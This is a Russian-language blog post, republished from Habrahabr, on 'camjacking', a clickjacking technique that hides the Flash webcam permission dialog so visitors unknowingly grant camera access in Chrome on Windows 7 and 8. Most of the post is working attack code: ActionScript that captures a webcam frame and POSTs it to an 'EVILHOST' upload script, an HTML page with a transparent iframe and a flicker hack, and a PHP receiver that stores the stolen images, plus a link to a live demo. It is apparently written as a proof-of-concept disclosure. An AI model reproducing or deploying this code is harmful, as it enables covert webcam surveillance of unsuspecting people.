- PVSM.RU - https://www.pvsm.ru -

Camjacking, как эволюция Clickjacking, или «Гюльчатай! Открой личико!»

Camjacking, как эволюция Clickjacking, или «Гюльчатай! Открой личико!»

В данном посте, я попытался изложить суть новой атаки( сама атака не нова, но позвольте называть это так). Баг свойственен для ОС Windows 7,8. Также нам понадобится Google Chrome, ну и Flash. Топик будет касаться идеи о тотальной слежке, особенно популярной в последние дни.
Интересно? Прошу под кат.

Шла обычная ночь, и как полагается, я ковырялся в коде. Уже и не вспомню в каком, но ночь сыграла свою роль. Вы никогда не задумывались: можно ли скрыть сообщение безопасности Flash Player'а, когда флеш файл пытается получить доступ к веб-камере или микрофону? Как водится, подобные мысли приходят спонтанно, но почему бы не попытаться совершить то, что так странно забрело в твою голову? Вот и я подумал так же.

Написав простую страницу с opacity и флеш контейнером( флеш запрашивал доступ к веб-камере), было замечено, что Firefox 21, Opera 12.15 или игнорируют прозрачность флеш анимации, либо просто некорректно обрабатывают. А вот IE 10 и Chrome 27.0.1453.110 прекрасно обрабатывали прозрачность и давали разместить поверх себя текст и/или картинку. Что, несомненно, пошло бы наруку веб дизайнерам. Но оставаться на достигнутом было просто не интересно, и я начал копать глубже, взяв за идею Clickjacking атаку, но переделав ее под свои нужды, т.е заимствовать все «полезные» для атакующего функции.

Я выбрал доступ к веб-камере( конечно, еще мы можем получить доступ к микрофону, но так ли это было важно тогда?)
Итак, я написал простую флешку, делающую снимок с помощью веб камеры и отправляющая ее на сервер.
Я не являюсь специалистом в ActionScript, так что если у вас буду нарекания, готов сделать поправки в коде.

package{
	import flash.display.BitmapData;
    import flash.display.Sprite;
    import flash.media.Camera;
    import flash.media.Video;
	import flash.net.*;
	import flash.utils.ByteArray;
	import flash.events.*;
	public class Main extends Sprite
    {   
        private var cam:Camera;
        private var video:Video;
		private var bitmapdata:BitmapData;
		private var ba:ByteArray;
		private var url:URLRequest = new URLRequest("http://EVILHOST/upload.php"); //Сайт с upload.php ( о нём ниже)
		private var wclose:URLRequest = new URLRequest("javascript:alert('Camjacked? Ok. |fil9{06.2013}|');");
		private var loader : URLLoader = new URLLoader(); 
		public function Main():void {
            run();
        }

        private function run():void
        {
	     cam = Camera.getCamera();
		 if(cam != null){ //Если камера есть
			 cam.addEventListener(ActivityEvent.ACTIVITY, activityHandler);
			 video = new Video(640, 480);
		     cam.setMode(640, 480, 60); //60 fps
             video.attachCamera(cam);
		 }
			}
			 private function activityHandler(event:ActivityEvent):void { //Пользователь "разрешил" доступ
		    bitmapdata = new BitmapData(video.width, video.height);
            bitmapdata.draw(video);
			ba = PNGEncoder.encode(bitmapdata); //Adobe PNGEncoder
			url.method = URLRequestMethod.POST;
			url.data = ba;
			loader.addEventListener(Event.COMPLETE, on_complete); 
			loader.load(url);  //Отправляем картинку
			function on_complete(e : Event):void {  
				navigateToURL(wclose, '_self'); //Выводим Alert
				}
            cam.removeEventListener(ActivityEvent.ACTIVITY, activityHandler);
			}
    }
}

Взять PNGEncoder [1].
FlashDevelop проект тут [2]

К сожалению, после проведения дополнительных тестов, было выявлено, что IE не дает взаимодействовать с полупрозрачным элементом, т.е нельзя кликнуть в диалоговом окне.
Так как у меня Windows 8, то тесты под ней прошли на ура, однако, на Windows 7 диалоговое окно исчезало( при opacity: 0) только после того, как флешку «выделяли» мышкой. Но и для этой беды был найден свой «Dirty hack»( о чём позже). Который предполагал отказ от текста поверх флешки, и накладывания поверх флешки картинки.

Имеем:

1) swf.html:

<html>
<body>
<object width="270" height="270">
<param name="movie" value="camjack.swf">
<embed src="camjack.swf" width="270" height="270">
</embed>
</object>
</body>
</html>

2) index.html:

<html>
<head>	
<script>
var exit=function(){document.location='about:blank'}; //Что не страница, дак чистый лист
var tryimages=function(){ //easy hack. Включены ли изображения?
return (document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)};
var load=function(){
//Картинки запрещены к показу; Не Chrome, Windows 7, Windows 8
if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1) || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & (navigator.userAgent.indexOf('Windows NT 6.2') == -1)))  
{ exit() };
//Windows 7 Chrome hack
if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ //DIRTY HACK (Windows 7) - Разрешение "мигнёт"
setInterval("document.getElementById('ifr').height=1;document.getElementById('ifr').height=291",300);
setInterval("document.getElementById('ifr').width=1;document.getElementById('ifr').width=291",350);
setTimeout("document.getElementById('img').width=291",1000);
setTimeout("document.getElementById('img').height=291",1070); //Разница 70мс
}};
</script>
<title>Camjacking simple example</title>
<style>
iframe { 
  position: absolute;
  opacity: 0.0;
  z-index: 1;
};
</style>
</head>
<body onload='load()'>
<!-- PNG 1x1 -->
<img id='imgenabled' style='display:none' src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII='></img>
<iframe id='ifr' src='./swf.html' width='290' height='290'></iframe>
<img id='img' src='./img.jpg' width='290' height='290'></img>
</body>
</html>

3) img.jpg тут [3]

4) upload.php:

<?php
$imgdata = file_get_contents('php://input');  //input raw POST data
$length = 10;
$randomString = substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $length);
$imgname = "./images/".$randomString.".png";
file_put_contents($imgname, $imgdata);  //PHP5
?>

5) camjack.swf собрать самим.

6) $mkdir ./images

Все это положить, с любовью, в корень сайта. Да, и не забудьте положить crossdomain.xml в корень сайта с upload.php

После всех танцев, в Windows 8 все выглядело очень даже ничего( opacity: 0.5):

Camjacking, как эволюция Clickjacking, или «Гюльчатай! Открой личико!»

Запустил небольшой сайт-пример( спасибо korowkin [4]). Если чего не заведется, ну или заведется, прошу отписаться. Проверил всего на паре компьютеров. Не сильно больно и уверен в работоспособности описанного выше.

Пример онлайн: fil9.we2.ru/ [5] (Google Chrome only)

Просмотреть снимков онлайн: fil9.we2.ru/view.php [6]

Каждые 30 минут снимки удаляются. Если фоткнули что-то уж из ряда вон выходящее, напишите мне, удалю.

Ну и два видео с работой кода.

Windows 7:

Windows 8:

Автор: fil9

Источник [7]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/36169

Ссылки в тексте:

[1] PNGEncoder: https://code.google.com/p/as3corelib/source/browse/trunk/src/com/adobe/images/PNGEncoder.as

[2] тут: http://yadi.sk/d/MrMCmfez5eNIo

[3] тут: http://fil9.we2.ru/img.jpg

[4] korowkin: http://habrahabr.ru/users/korowkin/

[5] fil9.we2.ru/: http://fil9.we2.ru/

[6] fil9.we2.ru/view.php: http://fil9.we2.ru/view.php

[7] Источник: http://habrahabr.ru/post/182706/